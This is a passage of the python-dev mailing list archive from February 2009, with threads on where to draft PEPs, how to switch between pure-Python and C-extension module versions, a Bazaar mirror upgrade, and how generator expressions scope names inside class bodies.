http://bugs.python.org/issue1251921 haypo precompiled code and nameError. 1280 days http://bugs.python.org/issue1261714 benjamin.peterson random module - Provider DLL failed to initialize correctly 1156 days http://bugs.python.org/issue1384175 ssb22 Comma not allowed at the end of argument list for **argument 933 days http://bugs.python.org/issue1531016 benjamin.peterson Seg fault in readline call. 770 days http://bugs.python.org/issue1630794 benjamin.peterson Problems with urllib2 read() 706 days http://bugs.python.org/issue1682241 ajaksu2 unable to serialize Infinity or NaN on ARM using marshal 567 days http://bugs.python.org/issue1762561 marketdickinson patch Top Issues Most Discussed (10) ______________________________ 44 Use 30-bit digits instead of 15-bit digits for Python integers. 108 days open http://bugs.python.org/issue4258 14 Rewrite the IO stack in C 76 days open http://bugs.python.org/issue4565 13 distutils sdist add_defaults does not add data_files 342 days closed http://bugs.python.org/issue2279 9 socket timeouts even in blocking mode 1 days closed http://bugs.python.org/issue5293 9 Fix strftime on windows. 3 days closed http://bugs.python.org/issue5249 9 Unhelpful error message with str.format() 7 days closed http://bugs.python.org/issue5247 8 Python 3.1 won't compile under Visual Studio 2005 1 days closed http://bugs.python.org/issue5306 8 logging package on IronPython 1 days closed http://bugs.python.org/issue5287 8 clean up Solaris port and allow C99 extension modules 578 days open http://bugs.python.org/issue1759169 7 Enhance tracebacks and stack traces with vars 1500 days closed http://bugs.python.org/issue1098732 From guido at python.org Fri Feb 20 18:50:30 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 20 Feb 2009 09:50:30 -0800 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou wrote: > Georg Brandl gmx.net> writes: >> >> The Python Wiki should also be considered: >> >> * Comparing versions is easy, and versions are only saved on "Save" >> >> * It supports reStructuredText, so there is no need for conversion >> afterwards. > > And it's vendor-neutral :-) Touche. I still don't like wikis for this purpose very much -- a person editing effectively grabs a lock on the whole file. (Wikimedia addresses this to some extend by allowing sections to be edited, but I don't see this feature in moinmoin yet, and I don't see us switching.) Also there is no access control -- anyone who can create a login can edit. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From wilk at flibuste.net Fri Feb 20 19:02:56 2009 From: wilk at flibuste.net (William Dode) Date: Fri, 20 Feb 2009 18:02:56 +0000 (UTC) Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: On 20-02-2009, Guido van Rossum wrote: > On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou wrote: >> Georg Brandl gmx.net> writes: >>> >>> The Python Wiki should also be considered: >>> >>> * Comparing versions is easy, and versions are only saved on "Save" >>> >>> * It supports reStructuredText, so there is no need for conversion >>> afterwards. >> >> And it's vendor-neutral :-) > > Touche. > > I still don't like wikis for this purpose very much -- a person > editing effectively grabs a lock on the whole file. (Wikimedia > addresses this to some extend by allowing sections to be edited, but I > don't see this feature in moinmoin yet, and I don't see us switching.) > Also there is no access control -- anyone who can create a login can > edit. Isn't it the good oportunity to try a DVCS ? -- William Dod? - http://flibuste.net Informaticien Ind?pendant From ajaksu at gmail.com Fri Feb 20 19:06:28 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Fri, 20 Feb 2009 15:06:28 -0300 Subject: [Python-Dev] Summary of Python tracker Issues In-Reply-To: <20090220170722.B23AE7838B@psf.upfronthosting.co.za> References: <20090220170722.B23AE7838B@psf.upfronthosting.co.za> Message-ID: <2d75d7660902201006o7a62b1a9n10335f168bd390f0@mail.gmail.com> Python tracker wrote: > > ACTIVITY SUMMARY (02/13/09 - 02/20/09) > Python tracker at http://bugs.python.org/ [...] > 2341 open (+55) / 14813 closed (+27) / 17154 total (+82) I was about to cry foul, +27 closed? We closed so many issues last week, how come? Then, I realized the headings tell another story: > Issues Created Or Reopened (84) [...] > Issues Now Closed (103) Woot! We did it! More issues closed than opened, that's sweet :) To celebrate, I'll have a two-day tracker sprint (probably Sunday and Monday, a holiday here) to add a couple of search options and a view for mass-updating issues. During the sprint, you'll be able to get your feature requests for and/or bug reports about the tracker at a considerably lower price, so send them in :) Daniel P.S.: It seems the "2341 open (+55) / 14813 closed (+27) / 17154 total (+82)" line is about "Issues Created" only :) From guido at python.org Fri Feb 20 19:16:19 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 20 Feb 2009 10:16:19 -0800 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: On Fri, Feb 20, 2009 at 10:02 AM, William Dode wrote: > On 20-02-2009, Guido van Rossum wrote: >> On Fri, Feb 20, 2009 at 3:21 AM, Antoine Pitrou wrote: >>> Georg Brandl gmx.net> writes: >>>> >>>> The Python Wiki should also be considered: >>>> >>>> * Comparing versions is easy, and versions are only saved on "Save" >>>> >>>> * It supports reStructuredText, so there is no need for conversion >>>> afterwards. >>> >>> And it's vendor-neutral :-) >> >> Touche. >> >> I still don't like wikis for this purpose very much -- a person >> editing effectively grabs a lock on the whole file. (Wikimedia >> addresses this to some extend by allowing sections to be edited, but I >> don't see this feature in moinmoin yet, and I don't see us switching.) >> Also there is no access control -- anyone who can create a login can >> edit. > > Isn't it the good oportunity to try a DVCS ? That was my original suggestion, yes, but Stephen Turnbull suggested Google Docs instead. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From barry at python.org Fri Feb 20 19:44:17 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 20 Feb 2009 13:44:17 -0500 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 20, 2009, at 1:16 PM, Guido van Rossum wrote: >> Isn't it the good oportunity to try a DVCS ? > > That was my original suggestion, yes, but Stephen Turnbull suggested > Google Docs instead. I found Google docs to be both very helpful and very painful. It was helpful because it supports multiple simultaneous editors pretty nicely. It was painful because I was constantly battered by inexplicable bugs (e.g. at one point my ability to add comments just went away). Maybe the closest home grown solution would be gobby, though the participants would have to manage persistency themselves. A DVCS would probably work too, given these are almost entirely text files. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZ76AXEjvBPtnXfVAQIx5QQAs29FVEYDjbcvG2vLB3RtuuLOwahECP2Q Yyxvz26mRgOeCX/4rfa4sI/r/dmyhbntGmvfqc/rE3Laej2G5vAqsBJfuhMM6xpx Men3eypCKELK52nR3CQpUfODVu9ASYzNlezYkS2IEDfWRB95wBmLS9oKPwo55coi 9FSsI2rvyKQ= =q+II -----END PGP SIGNATURE----- From brett at python.org Fri Feb 20 20:44:05 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 11:44:05 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules Message-ID: With io getting rewritten as an extension module, I think it's time to try to come up with a good best practice scenario for how to be able to control when a module uses a pure Python implementation and when it uses extension module optimizations. This is really only important for testing as if the extension is missing then the pure Python version is just flat-out used. As an example, let's just go with pickle and the Pickler class, with _pickle as the extension module. If you look at examples in the standard library, their seems to be two approaches. One is simply to blast the pure Python version: class Pickler: pass try: from _pickle import Pickler except ImportError: pass This is bad, though, as the only way to get a pure Python version for testing is to clear out pickle and _pickle from sys.modules, put None in for sys.modules['_pickle'] and then import pickle again. Yuck. The other option is to hide the pure Python version:: class _Pickler: pass try: from _pickle import Pickler # pickle actualy imports * except ImportError: Pickler = _Pickler Better, but it still means that you are mucking around with hidden names and it hard-codes what part of the module gets replaced (using import * gets around this, but it also blasts things like __doc__ which you probably don't want). Now, from what I can tell, Antoine is suggesting having _pyio and a _io and then io is simply: try: from _io import * except ImportError: from _pyio import * That works for testing as you can then have test classes have an attribute for the module to use and then create two subclasses which set what module to use (kind of like how test_warnings currently does it). But this only really works for complete module replacements, not modules like pickle where only key portions have been rewritten (which happens more often than the complete rewrite). So here is my crazy idea that I came up with late last night (i.e. might not make a lot of sense). First, the module with the pure Python code is the main version. At the end of that module, you make a function call: ``use_extension(__name__, '_pickle')``. That function then does some "magic":: def use_extension(py_name, ext_name): try: ext = importlib.import_module(ext_name) except ImportError: return py = sys.modules[py_name] swapped = {} for name in (x for x in dir(ext) if not x.startswith('__')): swapped[name] = getattr(py, name) setattr(py, name, getattr(ext, name)) py.__extension__ = ext_name, swapped You can also have an undo_extension('pickle') and it will unroll what was changed. This makes choosing what version of a module to use very simple in tests as it is a single function call in one direction or another. And doing it this way also allows for different VMs to choose different things to replace. For instance IronPython might decide that most of pickle is fine and only want to change a single function with an extension; this solution lets them do that without it being hard-coded in the standard library. At worst other VMs simply need to refactor the Python code so that there is a class or function that can be replaced. So go ahead and tear this apart so that we can hopefully reach a consensus that makes sense so that at least testing can easily be done. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From tjreedy at udel.edu Fri Feb 20 21:26:10 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 20 Feb 2009 15:26:10 -0500 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: Guido van Rossum wrote: > On Fri, Feb 20, 2009 at 4:01 AM, Antoine Pitrou wrote: >> Georg Brandl gmx.net> writes: >>> I just hope everyone updates both versions when making changes to IO. >> My proposal is just organizational, it is neutral in terms of whether or not the >> Python version is correctly maintained. > > I worry that with your proposal people are once again going to import > the pure Python version where they shouldn't. Maybe _pyio.py would > work though? From a user perspective, continuity of 'import xyz' importing the currently best implementation is what is important, even if that switches back and forth. >> We can hope that the IO lib *semantics* won't change too much in the future >> (although there is an IMO legitimate request for a setblocking() method: >> http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to >> willingly use the Python version if the C version is available. > > Hoping that modules won't evolve is futile. The concern for divergence > is real. Unit-testing both with the same tests might be the solution. It seems to me that starting new features with a new test and prototyping in the Python version should mostly avoid the problem. Keeping the Python version allows non-C Pythoneers to contribute to such efforts. (As opposed to fixing a C-only bug.) If the Python version is ahead at the time of a release, the Python version could be reverted to being a master version that import the C version for most but not all functions. tjr From daniel at stutzbachenterprises.com Fri Feb 20 21:31:26 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Fri, 20 Feb 2009 14:31:26 -0600 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon wrote: > Now, from what I can tell, Antoine is suggesting having _pyio and a _io and > then io is simply: > > try: from _io import * > except ImportError: from _pyio import * > > That works for testing as you can then have test classes have an attribute > for the module to use and then create two subclasses which set what module > to use (kind of like how test_warnings currently does it). But this only > really works for complete module replacements, not modules like pickle where > only key portions have been rewritten (which happens more often than the > complete rewrite). > A slight change would make it work for modules where only key functions have been rewritten. For example, pickle.py could read: from _pypickle import * try: from _pickle import * except ImportError: pass -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From python at rcn.com Fri Feb 20 21:33:56 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 20 Feb 2009 12:33:56 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extensionmodules References: Message-ID: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1> [Brett] > With io getting rewritten as an extension module, I think it's time to try to > come up with a good best practice scenario for how to be able to control > when a module uses a pure Python implementation and when it uses > extension module optimizations. This is really only important for testing as > if the extension is missing then the pure Python version is just flat-out used. There is also need in some modules where the two are not exactly equivalent or where there are multiple C extensions to choose from. In PyYAML, there needs to be an easier way to switch parsers and emitters (i.e. LibYAML). There are similar issues with xmlrpclib with the choice of parsers, marshallers, and unmarshallers. Possibly, the same mechanism can offer the user more control over which dbm is used when there are several choices. Raymond From brett at python.org Fri Feb 20 21:37:58 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 12:37:58 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < daniel at stutzbachenterprises.com> wrote: > On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon wrote: > >> Now, from what I can tell, Antoine is suggesting having _pyio and a _io >> and then io is simply: >> >> try: from _io import * >> except ImportError: from _pyio import * >> >> That works for testing as you can then have test classes have an attribute >> for the module to use and then create two subclasses which set what module >> to use (kind of like how test_warnings currently does it). But this only >> really works for complete module replacements, not modules like pickle where >> only key portions have been rewritten (which happens more often than the >> complete rewrite). >> > > A slight change would make it work for modules where only key functions > have been rewritten. For example, pickle.py could read: > > from _pypickle import * > try: from _pickle import * > except ImportError: pass > True, although that still suffers from the problem of overwriting things like __name__, __file__, etc. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Fri Feb 20 21:41:26 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 12:41:26 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extensionmodules In-Reply-To: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1> References: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1> Message-ID: On Fri, Feb 20, 2009 at 12:33, Raymond Hettinger wrote: > [Brett] > >> With io getting rewritten as an extension module, I think it's time to try >> to come up with a good best practice scenario for how to be able to control >> when a module uses a pure Python implementation and when it uses extension >> module optimizations. This is really only important for testing as if the >> extension is missing then the pure Python version is just flat-out used. >> > > There is also need in some modules where the two are not exactly equivalent > or where there are multiple C extensions to choose from. In PyYAML, there > needs to be an easier way to switch parsers and emitters (i.e. LibYAML). > There are similar issues with xmlrpclib with the choice of parsers, > marshallers, > and unmarshallers. Possibly, the same mechanism can offer the user more > control over which dbm is used when there are several choices. So are you saying you want something that takes multiple arguments like ``use_extension(py_name, *ext_names)``? Or are you wanting to go down the road of modules needing to define their own functions to use or unwind changes? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From brett at python.org Fri Feb 20 21:45:08 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 12:45:08 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: > > > On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < > daniel at stutzbachenterprises.com> wrote: > >> On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon wrote: >> >>> Now, from what I can tell, Antoine is suggesting having _pyio and a _io >>> and then io is simply: >>> >>> try: from _io import * >>> except ImportError: from _pyio import * >>> >>> That works for testing as you can then have test classes have an >>> attribute for the module to use and then create two subclasses which set >>> what module to use (kind of like how test_warnings currently does it). But >>> this only really works for complete module replacements, not modules like >>> pickle where only key portions have been rewritten (which happens more often >>> than the complete rewrite). >>> >> >> A slight change would make it work for modules where only key functions >> have been rewritten. For example, pickle.py could read: >> >> from _pypickle import * >> try: from _pickle import * >> except ImportError: pass >> > > True, although that still suffers from the problem of overwriting things > like __name__, __file__, etc. > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in anything starting with an underscore. So while this alleviates the worry above, it does mean that anything that gets rewritten needs to have a name that does not lead with an underscore for this to work. Is that really an acceptable compromise for a simple solution like this? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From fuzzyman at voidspace.org.uk Fri Feb 20 21:50:31 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Fri, 20 Feb 2009 20:50:31 +0000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: <499F1797.9030704@voidspace.org.uk> Brett Cannon wrote: > > > On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach > > wrote: > > On Fri, Feb 20, 2009 at 1:44 PM, Brett Cannon > wrote: > > Now, from what I can tell, Antoine is suggesting having _pyio > and a _io and then io is simply: > > try: from _io import * > except ImportError: from _pyio import * > > That works for testing as you can then have test classes have > an attribute for the module to use and then create two > subclasses which set what module to use (kind of like how > test_warnings currently does it). But this only really works > for complete module replacements, not modules like pickle > where only key portions have been rewritten (which happens > more often than the complete rewrite). > > > A slight change would make it work for modules where only key > functions have been rewritten. For example, pickle.py could read: > > from _pypickle import * > try: from _pickle import * > except ImportError: pass > > > True, although that still suffers from the problem of overwriting > things like __name__, __file__, etc. What do you mean overwriting __name__ and __file__? Doing import * in a pure Python file doesn't override these. Michael > > -Brett > > ------------------------------------------------------------------------ > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk > -- http://www.ironpythoninaction.com/ http://www.voidspace.org.uk/blog From aahz at pythoncraft.com Fri Feb 20 21:53:29 2009 From: aahz at pythoncraft.com (Aahz) Date: Fri, 20 Feb 2009 12:53:29 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: <20090220205329.GA9829@panix.com> On Fri, Feb 20, 2009, Brett Cannon wrote: > On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < >> daniel at stutzbachenterprises.com> wrote: >>> >>> A slight change would make it work for modules where only key functions >>> have been rewritten. For example, pickle.py could read: >>> >>> from _pypickle import * >>> try: from _pickle import * >>> except ImportError: pass >> >> True, although that still suffers from the problem of overwriting things >> like __name__, __file__, etc. > > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in anything > starting with an underscore. So while this alleviates the worry above, it > does mean that anything that gets rewritten needs to have a name that does > not lead with an underscore for this to work. Is that really an acceptable > compromise for a simple solution like this? Doesn't __all__ control this? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From python at rcn.com Fri Feb 20 22:09:27 2009 From: python at rcn.com (Raymond Hettinger) Date: Fri, 20 Feb 2009 13:09:27 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extensionmodules References: <2CD40D668B1F4C2B96FEDF203E87D92A@RaymondLaptop1> Message-ID: <81F49683876344AB849F71866C8D4350@RaymondLaptop1> I don't have a particular solution mind. Just wanted to reframe the question to be a more general one about the controlling the selection between near equivalent modules and extensions. Some variant of the problem seems to come-up in many different contexts. No one best practice has emerged as dominant. ----- Original Message ----- From: Brett Cannon To: Raymond Hettinger Cc: Python Dev Sent: Friday, February 20, 2009 12:41 PM Subject: Re: [Python-Dev] Choosing a best practice solution for Python/extensionmodules On Fri, Feb 20, 2009 at 12:33, Raymond Hettinger wrote: [Brett] With io getting rewritten as an extension module, I think it's time to try to come up with a good best practice scenario for how to be able to control when a module uses a pure Python implementation and when it uses extension module optimizations. This is really only important for testing as if the extension is missing then the pure Python version is just flat-out used. There is also need in some modules where the two are not exactly equivalent or where there are multiple C extensions to choose from. In PyYAML, there needs to be an easier way to switch parsers and emitters (i.e. LibYAML). There are similar issues with xmlrpclib with the choice of parsers, marshallers, and unmarshallers. Possibly, the same mechanism can offer the user more control over which dbm is used when there are several choices. So are you saying you want something that takes multiple arguments like ``use_extension(py_name, *ext_names)``? Or are you wanting to go down the road of modules needing to define their own functions to use or unwind changes? -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From greg.ewing at canterbury.ac.nz Fri Feb 20 22:15:17 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 21 Feb 2009 10:15:17 +1300 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <499E4107.3040500@pearwood.info> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> <499E4107.3040500@pearwood.info> Message-ID: <499F1D65.6070904@canterbury.ac.nz> Steven D'Aprano wrote: > Currently, if I want to verify that (say) cFoo and Foo do the same > thing, or compare their speed, it's easy because I can import the > modules separately. Also, won't foo.py be wasting time in most cases by defining python versions that get overwritten? Instead of defining things directly in foo.py, maybe it should do try: from cFoo import * except ImportError: from pyFoo import * Then the fast path will be taken if cFoo is available, and you can directly import cFoo or pyFoo if you want. -- Greg From barry at python.org Fri Feb 20 22:21:06 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 20 Feb 2009 16:21:06 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> Message-ID: <2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 20, 2009, at 10:09 AM, Barry Warsaw wrote: > I've just upgraded the Bazaar mirrors on code.python.org to use bzr > 1.12. We now have the opportunity to upgrade the repository format > for better performance. Because of the bzr-svn requirement, we need > a "rich root" format. Upgrading to 1.9-rich-root could buy us some > significant performance improvements, but it will require all > clients to upgrade to at least bzr 1.9, which was released on > November 7, 2008. > > I would like to do this upgrade. If you are currently using the > Bazaar mirrors at code.python.org and upgrading your client to at > least bzr 1.9 would be a hardship, please contact me. If I don't > hear any objections by say Tuesday, I'll go ahead and do the repo > upgrades. Adam Olsen reminds me that bzr 1.9 won't be supported by default in Ubuntu until Jaunty in April and Thomas reminds me that Debian still just has 1.5. In both those cases, you can use the PPA: https://launchpad.net/~bzr/+archive/ppa For Ubuntu machines, pick the distro version that's most appropriate. For Debian lenny, I use the Hardy PPA which seems to work fine. Gentoo gives me 1.12 and MacPorts gives me 1.11. I can't check any other distros. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZ8ewnEjvBPtnXfVAQLTEgP+IF8j1UJNqOt1uZ8L5QO+63tcwFdJ3z0X k5ZJg3mJgMVdXMnYSgnO6fBC7R7/zVHFo++cNoitVk1++N+PqdPjGaZkD/4/Yu/I gnUuEnS6aTU9at9rhrLXc310Qs8N9JmKOn9LWie2gCMOyiW/E95mMpH95Ze2jNrR 97p+uBzxtlQ= =wdPZ -----END PGP SIGNATURE----- From brett at python.org Fri Feb 20 22:45:26 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 13:45:26 -0800 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: <20090220205329.GA9829@panix.com> References: <20090220205329.GA9829@panix.com> Message-ID: On Fri, Feb 20, 2009 at 12:53, Aahz wrote: > On Fri, Feb 20, 2009, Brett Cannon wrote: > > On Fri, Feb 20, 2009 at 12:37, Brett Cannon wrote: > >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach < > >> daniel at stutzbachenterprises.com> wrote: > >>> > >>> A slight change would make it work for modules where only key functions > >>> have been rewritten. For example, pickle.py could read: > >>> > >>> from _pypickle import * > >>> try: from _pickle import * > >>> except ImportError: pass > >> > >> True, although that still suffers from the problem of overwriting things > >> like __name__, __file__, etc. > > > > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in > anything > > starting with an underscore. So while this alleviates the worry above, it > > does mean that anything that gets rewritten needs to have a name that > does > > not lead with an underscore for this to work. Is that really an > acceptable > > compromise for a simple solution like this? > > Doesn't __all__ control this? If you define it, yes. But there is another issue with this: the pure Python code will never call the extension code because the globals will be bound to _pypickle and not _pickle. So if you have something like:: # _pypickle def A(): return _B() def _B(): return -13 # _pickle def _B(): return 42 # pickle from _pypickle import * try: from _pickle import * except ImportError: pass If you import pickle and call pickle.A() you will get -13 which is not what you are after. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From greg.ewing at canterbury.ac.nz Fri Feb 20 23:02:25 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 21 Feb 2009 11:02:25 +1300 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: Message-ID: <499F2871.8020100@canterbury.ac.nz> Brett Cannon wrote: > So while this alleviates the worry > above, it does mean that anything that gets rewritten needs to have a > name that does not lead with an underscore for this to work. You can use an __all__ list to explicitly say what is to be exported. -- Greg From brett at python.org Fri Feb 20 23:02:09 2009 From: brett at python.org (Brett Cannon) Date: Fri, 20 Feb 2009 14:02:09 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <499F1D65.6070904@canterbury.ac.nz> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> <499E4107.3040500@pearwood.info> <499F1D65.6070904@canterbury.ac.nz> Message-ID: On Fri, Feb 20, 2009 at 13:15, Greg Ewing wrote: > Steven D'Aprano wrote: > > Currently, if I want to verify that (say) cFoo and Foo do the same thing, >> or compare their speed, it's easy because I can import the modules >> separately. >> > > Also, won't foo.py be wasting time in most cases by > defining python versions that get overwritten? > But that's only at import time and that is rather minor compared to other execution costs. > > Instead of defining things directly in foo.py, maybe it > should do > > try: > from cFoo import * > except ImportError: > from pyFoo import * > > Then the fast path will be taken if cFoo is available, > and you can directly import cFoo or pyFoo if you want. > See the other thread I started on discussing best practices for this, but this won't work for modules where only part of the implementation has an optimized version in an extension module (e.g. pickle). -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From josiah.carlson at gmail.com Fri Feb 20 23:40:16 2009 From: josiah.carlson at gmail.com (Josiah Carlson) Date: Fri, 20 Feb 2009 14:40:16 -0800 Subject: [Python-Dev] Seeming unintended difference between list comprehensions and generator expressions... Message-ID: Recently I found the need to generate some constants inside a class body. What I discovered was a bit unintuitive, and may not be intended... In 2.5 and 2.6: >>> class foo: ... x = {} ... x.update((i, x.get(i, None)) for i in xrange(10)) ... Traceback (most recent call last): File "", line 1, in File "", line 3, in foo File "", line 3, in NameError: global name 'x' is not defined >>> class foo: ... x = {} ... x.update([(i, x.get(i, None)) for i in xrange(10)]) ... >>> In 3.0: >>> class foo(): ... x = {} ... x.update((i, x.get(i, None)) for i in range(10)) ... Traceback (most recent call last): File "", line 1, in File "", line 3, in foo File "", line 3, in NameError: global name 'x' is not defined >>> class foo(): ... x = {} ... x.update([(i, x.get(i, None)) for i in range(10)]) ... Traceback (most recent call last): File "", line 1, in File "", line 3, in foo File "", line 3, in NameError: global name 'x' is not defined >>> The behavior of 3.0 WRT list comprehensions behaving the same way as generator expressions is expected, but why generator expressions (generally) don't keep a reference to the class scope during execution seems to be unintended. - Josiah From ncoghlan at gmail.com Sat Feb 21 00:14:38 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 21 Feb 2009 09:14:38 +1000 Subject: [Python-Dev] Seeming unintended difference between list comprehensions and generator expressions... In-Reply-To: References: Message-ID: <499F395E.5010202@gmail.com> Josiah Carlson wrote: > The behavior of 3.0 WRT list comprehensions behaving the same way as > generator expressions is expected, but why generator expressions > (generally) don't keep a reference to the class scope during execution > seems to be unintended. It's intended. While arguably not ideal, it would require some pretty major changes to the lexical scoping rules to make them behave any differently. The translation of (i*i for i in x) is conceptually along the lines of: def _ge(arg): for i in arg: yield i*i = _ge(x) Similarly, a 3.x list comprehension [i*i for i in x] is very roughly translated as: def _lc(arg): result = [] for i in arg: result.append(i*i) return result = _lc(x) Like any function scope inside a class namespace, the body of a genexp (and, in 3.x, comprehension) doesn't have direct access to the class namespace because classes don't play any part in the lexical scoping rules. Basically, if a generator or 3.x comprehension needs access to a value from a containing class scope anywhere other than the outermost iterator, then it needs to be put into a temporary function and given the extra value as an argument: .>> class C: ... x = {} ... def _init_constants(d, itr): ... d.update((i, d.get(i, None)) for i in itr) ... _init_constants(x, range(10)) ... del _init_constants ... .>> C.x {0: None, 1: None, 2: None, 3: None, 4: None, 5: None, 6: None, 7: None, 8: None, 9: None} (in this toy case, of course, it would be simpler to make the temporary function create and return the constants dictionary, but the above approach with multiple arguments being passed in applies more generally when you need to access multiple existing values from the class scope) Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ncoghlan at gmail.com Sat Feb 21 00:27:23 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 21 Feb 2009 09:27:23 +1000 Subject: [Python-Dev] Choosing a best practice solution for Python/extension modules In-Reply-To: References: <20090220205329.GA9829@panix.com> Message-ID: <499F3C5B.2010704@gmail.com> Brett Cannon wrote: > But there is another issue with this: the pure Python code will never > call the extension code because the globals will be bound to _pypickle > and not _pickle. So if you have something like:: > > # _pypickle > def A(): return _B() > def _B(): return -13 > > # _pickle > def _B(): return 42 > > # pickle > from _pypickle import * > try: from _pickle import * > except ImportError: pass > > If you import pickle and call pickle.A() you will get -13 which is not > what you are after. Ah, you may want to think about that a bit more. There's a reason globals are looked up when they're used rather than when their function is defined. Even in your own example, _B isn't defined at all when you define A. There is a (real) related problem whereby the Python version will *use* it's own globals if it actually tries to call any functions during the import, but that's a problem shared by any "overwrite at the end of import" approach to swapping in extension module versions of functions. With appropriate __all__ definitions in the C 